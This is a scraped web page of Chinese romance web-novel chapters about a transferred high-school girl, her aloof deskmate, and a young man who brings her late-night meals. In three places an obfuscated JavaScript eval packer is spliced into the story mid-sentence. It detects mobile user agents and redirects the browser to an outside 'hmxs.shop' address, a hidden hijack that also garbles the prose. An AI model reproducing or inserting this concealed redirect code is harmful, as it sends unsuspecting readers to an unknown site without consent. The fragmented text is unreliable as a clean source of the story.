“懂了,那我存下来。”姜青杳“嗯”了一声,手机的联系人就多了一个。 “你会写字吗?或者打字?” 两个人刚走出手机店就看到一个老太太表情焦灼的在安保人员面前比划着,安保人员也很无奈,他确实是看不懂也无法理解这位老太太想要表达什么意思。周围围了不少人。 姜青杳看去,意识到这位老太太可能是一位聋哑人,她正准备打电话报警,就发现邵远年快步走过去:“您好,我会一点手语,我和她沟通一下吧。”她怔怔站在原地,看到邵远年微微俯身靠近那位老太太开始比手语和她沟通,老太太发现有人能够读懂她的话擦了擦眼泪然后继续比划手语。 隔着人群,姜青杳看着神情冷峻的高大男人在此刻微微弯下身子聆听一位陌生人的需求,她仿佛在邵远年身上看到了叶知舟的身影。叶知舟也很高,要是遇到这种能帮上忙的事情也会这样选择吧。突然之间,她好像更加明白了叶知舟的选择,也更加体会到了邵远年的温柔。 她本以为他是高洁不可攀的高岭之花,没想到他其实是润万物的春雨,他怜爱世人。 “您好,奶奶说她的孙女不见了,本来是在这里等她的,但是人不见了。”邵远年和老太太沟通后了解了她的意思,便直起腰和安保人员沟通,“她的孙女能听到,麻烦让讯导台发布一个广播。” 说完,邵远年才想起来姜青杳还站在人群外,才焦急地回头在人群里看向她。两个人的视线碰撞,姜青杳抿唇笑笑,然后一边说着“麻烦让一让”一边挤进人群来到邵远年的身边。 扑通,扑通,姜青杳感觉她的心彻底为邵远年倾倒了。 10. 10.月经 六点的闹钟准时响起,姜青杳像是被弹射起飞的汤姆从床上坐起来,紧张地摸索着记忆里是放在枕头左边夹在床垫和墙之间的闹钟,然后火速关掉闹钟,做完这一切的时候姜青杳瞪大眼睛看着什么都看不清的黑漆漆的房间,竖起耳朵判断睡在自己对面床铺的室友有没有被自己的闹钟吵醒。 眼睛逐渐适应了黯淡无光的黑漆漆,她看向右侧的床铺,发现空荡荡的,松了口气。 这是她来到新学校住宿的第一个早晨,新学校的早自习在六点四十,比以前的学校的早自习早了足足二十分钟,她还是有点不太习惯早起。看了看闹钟上面的日期,10月30日,她叹了口气。 她昨天下午才来学校报道,被司机送到学校后就跟着穿着高跟鞋的班主任在学校里走来走去,去办理住校的手续、领取高二的书本和回到班上进行自我介绍,最终坐在了最后一排靠窗的座位。 高二的教材不是很多,但是学校发了很多练习册。班主任程玉带着姜青杳到图书室领取书籍前担心东西太多,办完住校手续后就先带着姜青杳回到自己的办公室拿了一个带滚轮的收纳箱给她。 在程玉看来,姜青杳应该有一米七那么高,但又瘦瘦扁扁、细胳膊细腿的,应该拿不动那么多东西便将她的收纳箱给了姜青杳。收纳箱有滚轮是个好东西,但是姜青杳总觉得直接拖在地上用坏了老师的东西太不礼貌,于是走在程玉身后的姜青杳总是咬咬牙半弯着腰抱着收纳箱行走。 姜青杳跟着程玉到班级门口的时候,已经脸通红,不爱出汗的脊背也有些汗湿了衣服。 “程老师,我先把收纳箱放回您办公室吧,书我先放在地上。” 姜青杳眨巴眨巴眼睛,小脸通红地这样看着程玉说着。 本以为这样能够拖延一点时间捱过去自我介绍,没想到程玉直接说这个收纳箱给她了。愣了愣,认命的姜青杳就收纳箱跟着程玉进了教室。高跟鞋哒哒的声音在安静的教室里很明显,于是很多学生抬起了头,大部分是有些茫然地看着在讲台上熟透了的新面孔的神情。 午后的太阳过于刺眼,前排靠窗的许多同学都选择拉起来窗帘,有的怕风吹鼓窗帘遮挡视线还拿起堆叠起来的厚厚的书籍放在窗边压住窗帘,唯独最后一排守着窗户的一个皮肤白皙、气质如高岭之花的留着黑长直的女孩,似乎并不觉得阳光刺眼,只是挺直了腰背低着头写着自己的功课。 她是少数中没有抬起头看新转来的转校生的同学之一,那个女生只是偶尔抬手将垂落在脸旁的长发别在耳后,好像周围的喧嚣和她全然无关。姜青杳怔怔地看着感觉在发光的少女,愣了神。 “咱们班上转来了一位新同学,大家掌声欢迎。”程玉的掌声让她回了神。 接过程玉递过来的粉笔,姜青杳手颤抖着在黑板上写上了自己的名字,转身忐忑地进行了自我介绍,声音抖得像窗帘:“呃,大家好,我叫姜青杳,生姜的姜,青菜的青,杳杳钟声晚的杳……” 介绍完,看着班上交头接耳窸窸窣窣的动静,姜青杳紧张地攥紧了自己的衣袖。程玉先带头鼓起了掌声,班上的掌声在后响起,她听到程玉说:“那么,你就坐在沈佩淑的旁边吧。” 顺着程玉指的方向看去,姜青杳发现是她刚刚看愣神的最后一排靠窗的女生旁的座位。 沈沛舒?好好听的名字,是哪几个字呢? 在讲台上自我介绍的紧张还没有褪去,姜青杳抱着书籍颤颤巍巍地走向最后一排,小心翼翼地将收纳箱放在了地面上,然后拉动了桌椅,带着刻意控制着还有些大喘气的呼吸缓缓坐下。 扶了扶眼镜框,姜青杳正准备弯腰从收纳箱里随便翻出来一本课程看看,就听到身旁谪仙一样的人淡淡地向她开口自我介绍自己:“你好,我叫沈佩淑,佩玉的佩,淑女的淑。” 被突然出声的声音吓了一跳,姜青杳眨了眨眼睛扭头看向托腮看着自己的沈佩淑。柔和的阳光毫无保留地将绚烂的光芒洒在这样的美人身上,就像是平白给她镀上了一层金光,让人移不开眼。 “你,你好,我叫姜青杳,生姜的姜,青菜的青,杳……”她愣愣地将台上自我介绍的话又重复了一遍,却见沈佩淑眼底的笑意藏不住,目光温柔似水:“杳杳钟声晚的杳?你好,姜青杳同学。” “姜青杳!”一嗓子在大家的朗读声里显得反而有些细细弱弱的,“班主任找你!” 从回忆里愣过神来的姜青杳从英语单词里抬起头来,“噢”了一声后放下课本从后门走出去找班主任。没过多久她就从班主任的办公室走出来。其实问的大多都是她在新学校习不习惯这类事,但是她不擅长和老师对话,总是垂眸看着自己的脚尖,然后时不时“嗯”“知道了”“谢谢老师”作回应。 “诶,你猜这次沈佩淑的同桌能够忍她多久?” “能忍多久?她总共也就没几个同桌,高中这两年都一直独来独往的。” “说得也是,她上个同桌没多久就转学去国外读书了。” “要不是班上没多的座位,她的新同桌估计也不想和她坐在一起。” “就是就是……诶,小点声,她看过来了。” 她保证她不是故意偷听别人讲话的。 姜青杳本来低着头走路,想着等下早自习结束了要不睡会儿,耳朵就自动捕捉到了身后大声议论的“沈佩淑”这三个字以及“同桌”这个关键词。她也是听着觉得奇怪才扭过头看向她们的。 “叮——叮——”寻找说话的人的目光最终淹没在了嘈杂的铃声里,熙熙攘攘的人群从座位里出来,打水的打水、去食堂的去食堂、补觉的补觉,姜青杳没能寻找到说话的来源,便回了座位。 回到座位,她看着自己桌子旁边空荡荡的座位——几乎每次一下课她的同桌就疾走出教室了,不知道沈佩淑到底每次都在忙些什么,每次下课除了睡觉就是离开教室,等铃响了再回来上课。 刚开始的时候她觉得可能是有什么事情,直到连续几节课间都是这样,她才觉得不对劲。 眨了眨有些困倦的眼皮,没有多想,姜青杳用毯子盖住了自己的头睡了过去。 只能说是人言可畏。 - 姜青杳没想到和沈佩淑的再次交集是在大课间的厕所。 她们班在这栋楼的最顶楼,每层楼都会有两个卫生间,而这层楼除了她们班就没有别的班级,意味着除了她们班的人几乎没有人会来这层楼上厕所。姜青杳总是跑到离她们班更远一点的厕所上厕所,虽然每个厕所都是有隔间的,但是她觉得很别扭,感觉还是没有人的厕所更让她放心点。 大课间姜青杳照常拿着卫生纸去厕所,没想到刚踏进厕所没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“所以我和班主任商量了一下,让你们组成学习小组。” 地理老师又扶了扶自己的眼镜框,将花名册发给了坐在第一排的班长。 “这个学习小组是各学科的,我们各科老师互相比对了一下才定下来的一对一小组。” “下课后班长把这个花名册贴到后面的黑板上面。” “好了,我们接下来来说说大家错的最多的一道题……” 一下课,平常没有什么人来的最后一排挤满了人。 下课就拿着水杯去饮水机那接水的姜青杳转身就看到最后一排那块的位置里人来人往,便想着去外面站一会儿,等快上课了就可以回座位了。毕竟,人来人往的,她坐在那里也不是很自在。 待铃声响起,回到座位前,姜青杳略略扫了一眼,发现她和沈佩淑在一个学习小组。 最后一节课又是自习课,这个学校已经结束了高中的全部课程,姜青杳还需要补一补进度。 花名册就在自己后面几步的距离,自习课也没有老师来,姜青杳觉得好奇,就扶着眼镜框眯着眼睛努力往后面看看花名册上面的成绩,然后她发现沈佩淑除了地理不行其他门门第一。 我的苍天啊。 遇到学霸同桌了。 11. 11.糖果 晚自习的时候沈佩淑就回来了。 姜青杳依旧是踩点才到教室,然后伴着铃声从后门溜到座位上,看到沈佩淑只请了半天左右的假不由得有点好奇,于是将自己手上拿着的糖果递给沈佩淑:“你痛经好点了?不多休息一下?” 沈佩淑睨了一眼姜青杳推到她桌面上的那包糖果,又将糖推回去:“谢谢。好多了。” 很冷淡。 默默在心里评价后,姜青杳将糖拆开塞了一个在嘴里含着,然后脑海里自动弹出来早自习那会儿听到的“闲话”,又偷偷看了看沈佩淑——她并不觉得她是别人讲的那种难以相处的人。也许她和她一样是慢热的人,又或者是说学霸独有的个性人设?她还是觉得要从实际相处中去认识一个人。 见姜青杳将糖果塞到嘴里后,沈佩淑就开始了背单词。 背完单词,沈佩淑才将桌面上的卷子整理。只是半天没有来,桌面上就堆满了卷子。刚整理没几张卷子,她就发现了地理卷子上面红艳艳的49分,手不禁攥紧了卷子,然后就开始翻找地理书准备对着改错。只是她的地理太差,对着书本的知识点有的题目还是不明白为什么这个选项是错的。 发现身旁的人没有背单词,晚自习前的读书时刻也快要结束,姜青杳不知道要干什么,就好奇地看了看同桌沈佩淑在干什么,然后她就发现沈佩淑在改地理卷子的错误,改得很艰难。 想了想,姜青杳从抽屉里找出来自己的地理卷子。 正改得艰难,在想下课要不要去问地理老师,沈佩淑突然发现一张89分的地理卷子被一只纤细白皙的手默默地挪到了她的桌面上,像极了她当时将那包糖果推回去的场景,只不过反了过来。 “上午你不在,地理老师已经将卷子讲完了。”姜青杳颔首,示意看看她的卷子来改错。 本想着拒绝,但是沈佩淑发现姜青杳每道题的选项都写了错在哪里,甚至写了考察的知识点在书本的哪一页,可以帮她辨别学习很多。于是抿了抿唇,她低头从抽屉里拿出来一板白巧克力放在了姜青杳的桌面上:“谢谢。我不白拿你的地理卷子。” 像一只原本对着人哈气,但是在遇到猫条后就开始呀米呀米地吃起来的小猫。 这样想着,姜青杳嘴角的弧度忍不住上扬,眼睛笑得眯起来像是月牙,亮闪闪的如星辰。 “没事,我们是同桌嘛,”姜青杳又从口袋里拿出一包糖果,“我们交换。” 亮闪闪的镭射纸在阳光下散发五彩斑斓的光彩,沈佩淑这次不好意思再拒绝,便点点头,又低声说了声“谢谢”,才拿过糖果放在桌面的斜上方,压在地理卷子上面。 本以为这会是她和沈佩淑友谊的开端,晚自习下课铃声打响,姜青杳准备喊沈佩淑一起回宿舍——她的二人间舍友也是沈佩淑,没想到还没有开口,沈佩淑就拿着书本疾走出教室了。 眨了眨眼睛,姜青杳讷讷地看着沈佩淑离开的背影,有些摸不着头脑。 她也不是什么洪水猛兽吧? 回宿舍的路上,在口袋里的手机嗡嗡响,姜青杳这才想起来今天上学直接调成震动了。将翻盖手机打开,上面跳动的联系人“邵远年”三个字让姜青杳的心加速,脚下的脚步也不自觉雀跃起来。 “喂?”姜青杳不知道说些什么,但是她感觉自己好像快乐摇摆尾巴的拉布拉多。 “喂,在新学校还习惯吗?”电话那头因为电流声音有些失真,但是依旧很好听。 “还好。”姜青杳想了想这一天半的学习,除了学习进度有点赶,其他都没什么。 “方便现在到校门口一趟吗?”那头的人笑了笑,说着让姜青杳雀跃的话。 “你现在在我们学校门口?”姜青杳有些讶异,声音也不自觉提高,“我现在来!” “嗯,不着急,慢慢来。”坐在车上的邵远年看了看黑压压的人群,笑了笑。 待姜青杳来到校门口,正准备思考着怎么和门口的保安说她可能需要出去一趟,就发现穿着黑色大衣的邵远年站在门口朝她招手,然后侧身对着保安说了些什么,保安看了看她,然后点点头。 走近了才听到保安和邵远年的对话:“马上高三确实需要补补营养,一个小时后记得回来。” “谢谢您,我们就在车上吃,吃完了我会喊她早点回宿舍休息。”邵远年礼貌地说。 “……你怎么来啦?”虽然才一天多没有见面,但是姜青杳感觉已经有点想邵远年了。 “给你送营养餐,”邵远年提起来手里的保温桶,给她瞧了瞧,“走吧,去车上吃,外面冷。” - 下午考完大学最后一门专业课的考试,邵远年就急匆匆回宿舍开车回老宅了。 他担心姜青杳在新学校过得不好,他记得她有些认枕头,还有她的猫条抱枕。 于是他回老宅的途中就去买了一些菜,准备做点夜宵给姜青杳带过去。 其实要买的菜很简单,无非就是一些排骨和藕、一些绿色时蔬和山药还有小龙虾。 但是姜青杳相较于粉粉的藕,更喜欢吃脆脆的藕。 这种藕比较难买,需要家里的阿姨去一些菜市场找找,超市里卖的藕大多都是粉藕。 邵远年将藕洗干净刨去了皮切块后,就将排骨和藕一起放进了高压锅里。 姜青杳的新学校其实离家也就十几公里,不算很远,路上不堵车的话大概二十多分钟的路程,但是邵远年还是担心到时候汤没有煮好,就直接放进高压锅里面煮汤了。 将其他的菜洗净切好煮好米饭后,邵远年就从厨房后面的储物柜里拿出来了花牛苹果和大青芒,将苹果和芒果洗干净后,又将芒果切块放进了玻璃盒里。苹果只是洗干净了就放进了塑料袋里,原因也很简单,姜青杳喜欢吃粉粉的带皮的苹果。 忙完这一切后,邵远年又看了看腕表,发现已经八点过几分了,于是又开始炒菜和小龙虾。 他其实很喜欢给姜青杳做饭,也很喜欢看着姜青杳大口大口地吃饭,在她吃得过快可能有点噎着的时候递过来一杯温水,或者舀一碗汤让她喝下,那个时刻他觉得他是这个世界上最幸福的人。 邵远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661699|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年仔仔细细看着姜青杳,上车后他就将他手腕上的橡皮筋递给姜青杳,看她扎好了头发再给她筷子。小龙虾的虾肉他都剥好了,排骨藕汤在第一层,山药炒木耳和清炒时蔬在第二层。 担心姜青杳冷,他还把车载空调打开了,姜青杳就在温暖的空调和亮澄澄的灯下吃宵夜。 “是妈妈让你来的吗?”姜青杳接过筷子,打开了保温桶。 “嗯,阿姨只是说她这些天有些忙,让我多照顾照顾你。”邵远年诚实地说了情况。 “这样。”姜青杳有些失落,但是立马被香喷喷的食物香晕了脑袋。 咬下一口藕,发现是脆脆的藕,姜青杳眼睛亮亮地看向邵远年:“你还记得噢?” 知道姜青杳说的是什么,邵远年笑笑,温柔地说:“嗯,都记得。” 舀了舀排骨藕汤,发现几乎没有什么纯瘦肉,都是一些脆骨和猪皮,都是姜青杳喜欢吃的。她不太喜欢吃猪的瘦肉,觉得吃起来很腥,她比较喜欢吃蹄花和猪的肥皮,感觉很有嚼劲。 原本冷冷的空气被暖和的藕汤和小龙虾的香味霸占,邵远年就这样托腮看着姜青杳吃东西,冷峻的脸庞被姜青杳呀米呀米吃东西的小猫样融化,绿色的眼眸里全是姜青杳吃东西的神情。 见姜青杳吃完了保温桶里的东西,邵远年及时递过来卫生纸,看着姜青杳擦嘴。 “下次还有什么想吃的吗?”邵远年问。 “还有下次吗?”姜青杳有些讶异,瞪大眼睛看向邵远年,发现他温柔地点点头。 正准备点菜的姜青杳想起来邵远年现在大三,应该也有好多课要上,就摆摆手:“算啦算啦,我今天已经很满足了。再说了,你不是大三嘛应该也很忙,有很多事情在学校忙得晕头转向的吧?” 见姜青杳还在考虑自己,邵远年感觉心里柔和得像是铺满了云朵,摇摇头:“上周就结课了,今天考完了最后一门专业课的考试,再后面就是实习和毕业论文的事情了,不算忙。” 姜青杳抿了抿唇,邵远年做饭确实很好吃,比学校食堂好吃多了。 “那可以以后每周三送夜宵给我嘛?”姜青杳比了个“三”的手势,“如果很麻烦的话就算了。” “不会很麻烦,”邵远年看姜青杳可爱的模样,忍不住笑笑,“只要周三吗?” 暖黄色的灯光下是邵远年比月光、暖气更加融化人心的笑颜,姜青杳的脸悄悄爬上红晕,感觉自己的心像是夏季里热得快要化掉的棉花糖,要彻底融化在那个小小的粉色包装袋里了。 “嗯,周三就好了,周三的主课很多,会容易肚子饿。”姜青杳挠了挠鼻尖。 “好,那就周三,到时候我会和你们班主任说这件事情,你到时候拿着假条来车上找我。” 没想到邵远年想得这样仔细,姜青杳愣了愣,然后笑笑:“好!” 本以为邵远年过来只是送夜宵给她,看着时间差不多快四十多分钟了,姜青杳眨了眨眼睛就准备说晚安然后下车回宿舍休息,结果就听到身旁的邵远年说:“岁岁,等等,我有东西要给你。” 12. 12.棉花 (本章可以搭配BicRunga的单曲《ADayLikeToday》食用。) 「There''snothinglikeacoolautumnbreeze……」 不知道是谁意外触碰到了车载音响的按钮,沙沙的电台声响起后温暖的车厢内就响起醇粹醉人、旖旎缱绻的如同丝绸一般的歌声。本想下车再说再见的姜青杳讷讷扭头看向被握住的左手,温暖的橙黄色灯光洒在邵远年的头顶,略显严肃的三七分也显得有些毛绒绒,冷峻的五官被暖色调的灯光柔和,绿色眼眸的视线如同温暖的泉水流向姜青杳。她一时之间感觉心跳有些“砰”地绽开了。 “什么?”姜青杳见邵远年的嘴巴张张合合,但是没有太听清他说什么。 她满脑子都是车载音乐突然响起来的这首英文歌——没有什么能够像这样凉爽的秋天了。 她常常看小说,无数次的少女情怀曾说“上天啊,要是遇到心爱的人有音乐可以响起就好了”。 所以这首歌突然响起的时候,姜青杳第一反应是担心自己的心是不是被邵远年知道了。 “我把你的抱枕带来了。”邵远年说着,俯身拿起后座上的一米二长的猫条抱枕。 橙色和白色相间的猫条抱枕长长的一条被塞到姜青杳的怀里,柔软的棉花触碰到温热的肌肤,她下意识去翻找这个抱枕上面的破洞。随后她看到了那个被她用扭七八歪的白色针线缝补的线被拆开,转而替换成了橙色的走线,针线聚集在一起成为了一只张大嘴打着哈欠的小橘猫。 “……你帮我缝好了?”姜青杳有些讶异,愣愣地看着面前笑意满满的邵远年。 这个抱枕是叶知舟送给她的生日礼物,可以说是她的阿贝贝,已经陪伴她十年了。 前不久抱枕破了一个洞,里面的棉花也跑棉了,抱起来的猫条抱枕扁扁的。姜蝶和叶知舟说十年了,坏了就可以丢掉了,但是她不愿意,她是一个念旧的人,便自己找来针线盒来缝补破洞。 现下的猫条抱枕蓬松饱满,被她缝补得丑丑的补丁也变成了可爱的小橘猫。 “嗯,缝好了。”邵远年点了点头,淡淡说着,就好像这是一件很小很小的事情。 “谢谢你。”姜青杳知道这并不是一个很小的事情,她的声音有些带着哭腔。 她真的没有想到邵远年会注意到姜蝶都没有放在心上的事情。 见姜青杳眼尾变红,嘴巴像丑小鸭那样瘪瘪的,邵远年忙用衣袖擦去她要溢出来的眼泪。 “想哭就哭吧。”没有说什么别的安慰的话,只这样一句就让姜青杳卸下所有防御。 “邵远年。”她抽噎着喊出他的名字,让邵远年蹙眉心疼地看着她。 “你对我好好。”姜青杳一边抽泣着一边说着,断断续续的才说完这么简短的话。 眼泪啪嗒啪嗒掉落在猫条抱枕上,晕染开来一片灰沉沉的水迹。 邵远年忙拿出抽纸擦她的眼泪,刚抬手擦去她脸上豆大的泪珠,就发现温热的手附上他宽大的手掌,姜青杳嘴角下沉眉毛皱起来哭得丑丑地看向他,然后他听到她说:“我哭起来是不是很丑?” 没想到她哭还在想这件事情,邵远年笑笑,继续擦去她的眼泪:“不丑。” “真,真的?” “嗯,真的。” 车厢内只剩下窸窸窣窣的擦泪痕的声音和车载音乐的歌声,邵远年眨了眨眼睛,看着姜青杳擦完泪眼红肿得像是核桃的眼睛,没忍住笑了笑,又伸手从后面的座位上拿出一个小袋子。 “给你煮的茶叶蛋,你不是不喜欢吃白水蛋吗?现在派上用场了。” 还没等姜青杳问什么用场,就感觉到温热的鸡蛋圆滚滚在贴在她红肿的眼皮上,一下又一下轻柔地滚着,完全没有碾压得很重的压迫感,还能闻到淡淡的茶叶香和卤料的香味。 “可是我晚上已经吃很多了。”姜青杳说着,揉了揉自己的肚皮,感觉裤腰带有点勒。 “嗯,确实吃得有点多,”邵远年点点头,“本来没想着拿出来的。” 温热的鸡蛋敷在眼皮上,确实感觉红肿的抬不起来眼皮的感觉好了很多,姜青杳舔了舔嘴巴,颤抖的眼皮带动睫毛像是振翅的蝴蝶,拿着眼镜框的手都没由来地捏紧了,她感觉心砰砰砰。 突然,姜青杳感觉头顶一沉,发现邵远年正在轻轻揉着她的头发,然后她又感觉到自己长长的刘海被邵远年用手指拨撩,正有些僵硬着疑惑,就听到邵远年开口:“刘海有点长了,扎眼睛吗?” 这样一提,她又眨了眨眼睛,确实是感觉刘海被扒拉开眼睛舒服多了:“嗯,有点。” 压在面前颀长的身影离开了,没戴眼镜的姜青杳迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661700|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷糊糊看到邵远年又从后座翻找着些什么,然后就听到他说:“我好像带了剪刀,我找找。”没忍住笑出声:“邵远年,你是哆啦A梦吗?” 淡淡的山茶花香味涌过来,姜青杳仔细嗅了嗅,发现应该是沐浴露的味道,邵远年是洗过澡了才过来的——他是不是也很期待和自己的见面呢?这样想着,姜青杳的嘴角止不住上扬。 转过身来拿着剪刀的邵远年用手梳了梳她的刘海,轻笑着说:“不是哆啦A梦。” “那是什么?” “你的知世。” 砰,砰。砰,砰。 姜青杳愣愣地努力用散光的眼睛看着距离自己有一段距离的邵远年的脸,绚烂的暖黄色灯光像是杨桃、像是五角星、像是散射的灯球,洒在让她头晕目眩、心跳紧张的柔和的脸庞。好像有什么像是包心的浓缩果汁软糖,只要轻轻地用牙齿咬一咬,里面的夹心就会毫不费力地喷涌出来。 他没有选择她看过的动漫里任何一个具有魔力道具的角色,没有按照她的说辞继续说下去他是万能的百宝箱,他只是淡淡地说是她最喜欢的动漫里默默喜欢着小樱,倾尽一切对小樱好的知世。 意识到自己说得有些多的邵远年抿了抿唇,随后又说:“逗你玩的,我帮你修一下刘海吧。闭上眼睛。”就像是一个要贴近爱人的亲吻前说的话语,姜青杳愣愣地闭上了眼睛,屏住呼吸。 “咔嚓”一声,细碎的头发从自己的眼前掉下,落在白嫩带着红晕的脸颊上。 剪刀声没有继续,姜青杳本以为结束了,想要翻找车内的镜子去看看怎么样了,就发现到一股很轻柔的风夹杂着微微的薄荷味吹拂过自己的脸庞,然后就感受到温热的手指触碰到自己的肌肤,轻轻擦拭掉了脸上的碎发后,又用手扒拉扒拉了刘海,看有没有其他碎发没有清理干净。 “好了吗?”姜青杳的睫毛颤动如羽翼,怕睁开眼睛就看到她心爱的人贴近的脸庞。 “嗯,好了,”邵远年默默后退,拉下车内的镜子,“看看满意吗?” 两个人的面庞出现在小小的长方形镜框里,少女讷讷地从镜子里看男人略带侵略性的侧脸,而男人温柔地直视着少女柔情的脸庞。姜青杳庆幸邵远年这一刻只是单纯地看着她的脸,没有看她。 她第一次从眼神里读到汹涌的爱意,从她看向邵远年的眼睛里。 13. 13.金鱼 自拿到抱枕的那晚过去后,启明市就又陷入了连绵的雨季,十一月的上旬就这样悄然过去。 抱着晒满阳光味道的抱枕,姜青杳的梦再也没有被潮湿包裹,而是树叶沙沙摇晃的金黄色。 周三午休结束的铃声响起,趴在桌子上午睡的姜青杳彻底醒来的时候教室已经空无一人。她抬起腕表发现马上就是第一节课的预备铃声响起的时候,于是慌忙扯下挂在左耳的耳机,将mp3收进口袋,拿起垫在胳膊底下的信息技术课的教材快步着急忙慌地快步跑向二号实验楼的二楼。 姜青杳猫着腰悄悄从后门溜进了微机室,然后打开了电脑,第一节课的上课铃声正式响起。接着就是信息技术课的老师开始点名,点完名就是大家的自由活动时间,这个时候她往往用来下载一些好听的歌曲,然后再下载一些言情小说在手机上可以在体育课和课间的时候看看小说。 网页上的进度条还在加载,姜青杳单手托腮瞟了瞟和自己间隔着几个座位的人群。 离她最近的一排女生小声嬉闹着,一起探头探脑在电脑屏幕前看着网页检索出来的内容,时不时摇晃对方的肩膀表达兴奋。对面一排是背朝阳光光线比较好的位子,对电脑不太感兴趣的人大多坐在那里,低头拿着笔刷刷在练习册上写着习题,只是偶尔会抬起头来检索自己不知道的知识点,一边眯着眼睛靠近电脑屏幕,一边仔仔细细看着上面的检索内容在笔记本上记着相关的笔记。 再有的人——姜青杳看了看同样远离人群,坐在对面那排电脑桌前的沈佩淑。 再有的人,就是和她这个倒霉蛋一样独来独往,没人陪的小可怜蛋。 姜青杳观察过,沈佩淑几乎雷打不动地坐在这个最角落,然后一边转笔一边听着mp3里的英语听力。一般,沈佩淑会做完一套卷子的听力部分,然后再收起东西趴在桌子上睡觉。 说起来也奇怪,每次午休和自习课的时候,沈佩淑就会消失不见,直到上课铃声响起,她又会悄摸摸地出现在座位上开始听课。她也不是没有想过和沈佩淑多说说话,但是她们“同框”的时刻只有老师在讲台上讲课的时候,其余时刻沈佩淑就像是狡猾的火锅宽粉,压根抓不住她的身影。 晚上睡觉也是,除了那次邵远年第一次来送夜宵,回到宿舍后她们打了个招呼,其余时刻要么沈佩淑不在宿舍,要么吃了宵夜回到宿舍的时候沈佩淑已经睡下了,非常非常的诡异…… 说不清是被讨厌了还是怎么样了。 不过有次她吃完晚饭在阶梯教室门口背书,偶然听到路过的抱着习题的同班同学谈论过沈佩淑,大概的内容就是沈佩淑这个人一直都这样独来独往,高岭之花一朵,神出鬼没的。 姜青杳又看回电脑屏幕,发现东西都下载完了,就将mp3放着继续充电,随意在浏览器随便翻看点论坛。看着看着,她感觉又困了,再加上今天的太阳实在是太好,没忍住又趴着小睡了一会。 等睡醒的时候,姜青杳发现教室里的人都走光了,想起来下节课是体育课,她看了看手表发现课间还剩下八分钟了,于是又慌慌张张地收拾东西准备跑去操场。 结果姜青杳刚站起来准备离开,就发现对面最角落的那块还有个人,沈佩淑也还在睡觉,碎金的光线下她的头发毛绒绒的,空气中的灰尘飘荡着,她头顶的小碎发在风中悄悄摇晃着。 本想喊沈佩淑起床的姜青杳顿了顿,想起来今天,也包括前段时间的很多个时刻,她睡过头了醒来的时候教室总是空荡荡的,沈佩淑从来没有喊过她。撇了撇嘴,她在思考叫不叫沈佩淑起床。 罢了,她不也从来没有喊过她不是吗? 冷哼一声,姜青杳拿起东西就准备转身离开,只是没走几步,越走越觉得步伐沉重心里愧疚,只好又折返回去,很不情愿地戳了戳沈佩淑的胳膊:“喂,醒醒,还有几分钟就要上体育课了。” 被姜青杳拍醒的沈佩淑先是眼睛迷茫地眨了眨,然后才抬起头带着刚睡醒的困倦看向姜青杳一张一合的嘴巴,眼睛聚焦后,她看清喊醒自己的是姜青杳后,就开始火速收东西:“谢谢。” 说罢,沈佩淑就带着收拾好的东西跑走了,好像她姜青杳是什么洪水猛兽。 “诶——”姜青杳愣愣地伸出手,刚想抓住沈佩淑说“咱们一起吧”,结果沈佩淑就没影儿了。 体育课每周的场地都不一样,姜青杳想起来这周应该是在体育馆,二号实验楼刚好是离体育馆最远的地方。她低头看了看手表,发现也就只有六分钟差不多的时间了,于是咬咬牙跑起来了。 姜青杳的耐力不行,她扶着跑起来有点刺痛的腹部左下角那块,气喘吁吁地慢走着,抬头终于看到了集合的大部队,体育老师正在讲着什么,估计是已经点名完了。点名都点完了,她也就不着急了,大不了就是被批评几句罢了。只是没想到她出现在体育老师旁边的时候,老师有些讶异地问:“姜青杳,你不是身体不舒服吗?这节体育课没有什么事情,不舒服就在旁边好好休息吧。” 姜青杳有点摸不着头脑,看向往常里站在自己后一排的沈佩淑,发现她正在看自己。 应该是沈佩淑帮忙和体育老师说了她身体不舒服的这种谎吧? 这样想着,姜青杳朝沈佩淑笑了笑,但是她强行微笑起来看起来假假的,沈佩淑移开了目光。 下周一就是秋季运动会召开的时间了,这是她们高二生在高中三年里参加的最后一届运动会。体育老师按照每个人报的项目将人分为一组一组进行运动会的练习,姜青杳因为没有报任何项目再加上“身体不舒服”就坐在观众席的第一排看她们练习运动会的项目。 她双手抱膝头偏着枕着双臂放空。 台下的嬉闹声和球鞋与木地板摩擦的声音不断,姜青杳莫名觉得有些烦躁,拿出mp3和有线耳机,将耳机插孔插入mp3的连接口,只戴了没有挨着手臂的右耳那边,耳机传来的前奏慢慢盖过了姜青杳觉得让她心烦的噪音——是蔡健雅的《Day&Night》,原来下载的最后一首是这个。 “牛啊!” “太厉害了!” 姜青杳闻声望去,发现是沈佩淑跳高又跳过了一米四。 明明她是最喜欢摸鱼躲在一旁不参加集体活动的,但是不知道为什么她感觉好委屈。 下意识的,想要和邵远年说话。 